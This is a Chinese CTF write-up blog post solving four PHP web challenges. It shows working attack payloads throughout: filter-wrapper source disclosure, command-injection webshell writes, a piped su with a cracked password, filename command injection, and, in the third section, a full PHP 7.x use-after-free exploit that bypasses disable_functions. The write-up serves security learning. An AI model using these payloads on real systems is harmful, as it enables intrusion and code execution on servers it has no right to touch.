目录
<1> [羊城杯 2020]Easyphp2(伪协议绕过&su以GWHT身份获取flag)
<2> [红明谷CTF 2021]write_shell(短标签+``绕过rce)
<3> [GYCTF2020]EasyThinking(thinkphp6.0任意文件操作漏洞)
<4> [N1CTF 2018]eating_cms(prase_url()函数漏洞+控制参数进行rce)
<1> [羊城杯 2020]Easyphp2(伪协议绕过&su以GWHT身份获取flag)
看见题目url栏里存在 ?file=GWHT.php
可能存在文件包含,尝试伪协议读取源码发现被过滤。经测试是base64被过滤
可以双重url编码绕过,
?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php
也可以:quoted-printable-encode
?file=php://filter/convert.quoted-printable-encode/resource=GWHT.php
之后在在线 Quoted-printable 解码编码 - 在线工具网 解密即可
'.''.''.'
'.''.'404'.''.'
'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?>
在根据
Sorry, only people from GWHT are allowed to access this website.23333
可知应该是要传入 cookie pass=GWHT
GWHT.php hidden内容为:
The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "";}?>
可以写入一句话木马:?count= '|echo "= eval(\$_POST['shell'])?>" > a.php'
连接蚁剑,在GWHT里一顿找,找到flag.txt 但是发现属性为0440,我们没有权限打开
在 README里又找到了password的hash
somd5解密一下,得到密码 GWHTCTF
这里不能直接 su GWHT,然后输入密码。 蚁剑连接的只是一个 执行命令的一句话小🐎,不是交互式。所以需要利用管道符,以GWHT身份执行 cat /flag.txt
| 作用:将前面每一个进程的输出(stdout)直接作为下一个进程的输入(stdin)
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
得到flag
拓展:不写一句话🐎,直接执行命令 构造使其回显:
wc -c 用来统计文件字节数
exec函数不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
这导致我们即使能对$count进行命令注入,但是exec只会返回| wc -c的结果
所以我们的现在需要不执行 $count后面的命令
最简单的办法就是使用#对后面的命令进行注释,但是题目已经将#过滤
我们可以使用||来达到不执行后面命令的效果
传入 '|ls||' 试试,ls命令执行成功
但是这个是 www-data用户,没权限读取flag.txt的,所以步骤还是和上面蚁剑连接 找GWHT用户密码 以GWHT用户身份读取flag。 所以还是中规中矩按最开始的思路走吧。这个权当拓展
<2> [红明谷CTF 2021]write_shell(短标签+``绕过rce)
进入题目,看见源码:
$output){ $input[$key] = waf($output); } }else{ $input = check($input); }}$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){ mkdir($dir);}switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data);}?>
代码审计,参数action控制两个模式,case为upload时,会通过get传入一个data参数,经过waf检测之后,写入到 $dir目录下的index.php里
case为pwd时,会输出目录的名称,这个目录为 upload模式下我们写入的index.php的绝对路径
那我们来看一下waf,check函数,函数里限制了我们的输入不能有php eval ` ~ ^ _ 空格等等,因此限制了我们写入一句话木马以及 异或、取反绕过的一些姿势。但是仍然可以利用 短标签+` `实现命令执行
何为短标签? 即 = $a ?> 等价于
因此我们可以通过upload模式写入index.php里 短标签代码来rce,
通过pwd获得index.php的路径:sandbox/c47b21fcf8f0bc8b3920541abd8024fd/
过滤了空格,我们可以用%09绕过 传入data==`ls%09/`?>
也可以水平制符\t来代替空格
写入成功,访问看见根目录下flag文件:flllllll1112222222lag
再次cat 即可得到flag
<3> [GYCTF2020]EasyThinking(thinkphp6.0任意文件操作漏洞)
进入题目环境,可以看到一个 Vulnerable Search,可能这个search这里存在漏洞,我们去search需要让我们登录,注册一个 admin 123456,尝试sql注入和文件包含,未果。
并且search的 内容有历史搜索记录(后面得知是记录到session里了)
结合题目 Easythinking,同时在查看/robots.txt时,根据页面报错得知这是 thinkphp6
搜索得知,thinkphp6存在任意文件操作漏洞
漏洞原理可以参考:ThinkPHP6 任意文件操作漏洞分析
首先注册一个aaa用户, 修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下sess_id文件里,key写入一句话🐎
访问/runtime/session/sess_qwertyuiop123456789asdfghjkl.php 测试
成功上传🐎
蚁剑连接,但是没有权限访问 /flag 在phpinfo()中 发现有disable_function限制
又考察我们的 bypass_disable_functions,前面写过一篇 LD_PRELOAD劫持 是一种方法。
可以利用蚁剑bypass_disfunctions插件试一下
github上也有 bypass_disfuntions的脚本, PHP 7.0-7.4 可用。
GitHub - mm0r1/exploits: Pwn stuff.
a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();}?>
在/runtime/session/ 里新建exploit.php 文件写入
回到浏览器中访问 得到flag
<4> [N1CTF 2018]eating_cms(prase_url()函数漏洞+控制参数进行rce)
扫描到以下目录,register.php为注册页面,注册一个帐号登入即可 注册admin不成功,那就注册一个1vxyz:1vxyz
user.php
register.php
templates/index.html
info.php
config.php
登录之后,看到url栏里有一个 user.php?page=guest user.php可能存在文件包含
尝试filter伪协议读取文件,由于默认给我们加上了.php 所以我们不需要自己加了
/user.php?page=php://filter/read=convert.base64-encode/resource=index
index.php:
同理,读取下面的文件
user.php
alert('no premission to visit info, only admin can, you are guest')"); Header("Location: user.php?page=guest"); } }}filter_directory();//if(!in_array($page,$oper_you_can_do)){// $page = 'info';//}include "$page.php";?>
function.php
$v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } }}function filter_directory_guest(){ $keywords = ["flag","manage","ffffllllaaaaggg","info"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);// var_dump($query);// die(); foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } }}function Filter($string){ global $mysqli; $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password"; $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><"; for ($i = 0; $i < strlen($string); $i++) { if (strpos("$whitelist", $string[$i]) === false) { Hacker(); } } if (preg_match("/$blacklist/is", $string)) { Hacker(); } if (is_string($string)) { return $mysqli->real_escape_string($string); } else { return ""; }}function sql_query($sql_query){ global $mysqli; $res = $mysqli->query($sql_query); return $res;}function login($user, $pass){ $user = Filter($user); $pass = md5($pass); $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'"; echo $sql; $res = sql_query($sql);// var_dump($res);// die(); if ($res->num_rows) { $data = $res->fetch_array(); $_SESSION['user'] = $data[username_which_you_do_not_know]; $_SESSION['login'] = 1; $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too]; return true; } else { return false; } return;}function updateadmin($level,$user){ $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' "; echo $sql; $res = sql_query($sql);// var_dump($res);// die();// die($res); if ($res == 1) { return true; } else { return false; } return;}function register($user, $pass){ global $mysqli; $user = Filter($user); $pass = md5($pass); $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')"; $res = sql_query($sql); return $mysqli->insert_id;}function logout(){ session_destroy(); Header("Location: index.php");}?>
从代码中我们可以看到一个$keywords = ["flag","manage","ffffllllaaaaggg"]; 文件,尝试用伪协议读取一下
访问flag,导向了hacker.php
no hacking,you have been noticed by albertchang's waf
观察这个过滤:
$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
其中存在parse_url()函数,这个是我们的突破点:parse_url函数的解释和绕过
构造恶意url绕过检测,读取一下
//user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg
其中ffffllllaaaaggg.php 里有内容
再次读取一下 m4aaannngggeee.php
/user.php?page=php://filter/read=convert.base64-encode/resource=m4aaannngggeee
访问templates/upload.html
看见了上传文件的地方,尝试上传文件
伪协议读取upllloadddd.php 文件内容
/user.php?page=php://filter/read=convert.base64-encode/resource=upllloadddd
upllloadddd.php:
";echo $filename;$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");echo "";if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: ");}$ext = array_pop(explode(".",$_FILES['file']['name']));if(!in_array($ext,$allowtype)){ unlink($newfile);}?>
审计一下代码,我们可以看到这里有个代码执行
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w
在m4aaannngggeee.php 找到真正的文件上传点:
上传文件并更改文件名为 123.png;ls;# 成功执行ls命令
由于这里过滤了 / ,所以我们使用 ;ls ..;#来访问根目录
发现flag_2333, 由于过滤 / ,我们cd切换目录,然后cat
更改文件名称为:123.png;cd ..;cat flag_233333;#
得到flag
来源地址:https://blog.csdn.net/weixin_63231007/article/details/126962265